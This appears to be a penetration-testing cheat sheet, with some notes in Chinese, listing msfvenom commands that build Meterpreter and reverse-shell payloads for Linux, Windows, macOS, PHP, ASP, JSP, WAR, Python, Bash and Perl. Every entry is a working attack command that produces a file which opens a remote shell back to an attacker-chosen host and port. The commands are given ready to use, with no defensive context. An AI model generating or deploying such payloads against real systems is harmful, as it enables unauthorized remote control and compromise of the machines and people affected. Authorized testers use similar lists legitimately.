Linux
1.X86
生成x86的老是会报段错误,不知道为啥,离谱
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f elf > x86.elf
2.x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 -f elf > x64.elf
Windows
1.生成exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f exe > shell.exe
2.生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f dll > shell.dll
3.生成raw格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.102 LPORT=4444 -f raw > shell.bin
4.生成powershell脚本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333 -f psh -o shell.ps1
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl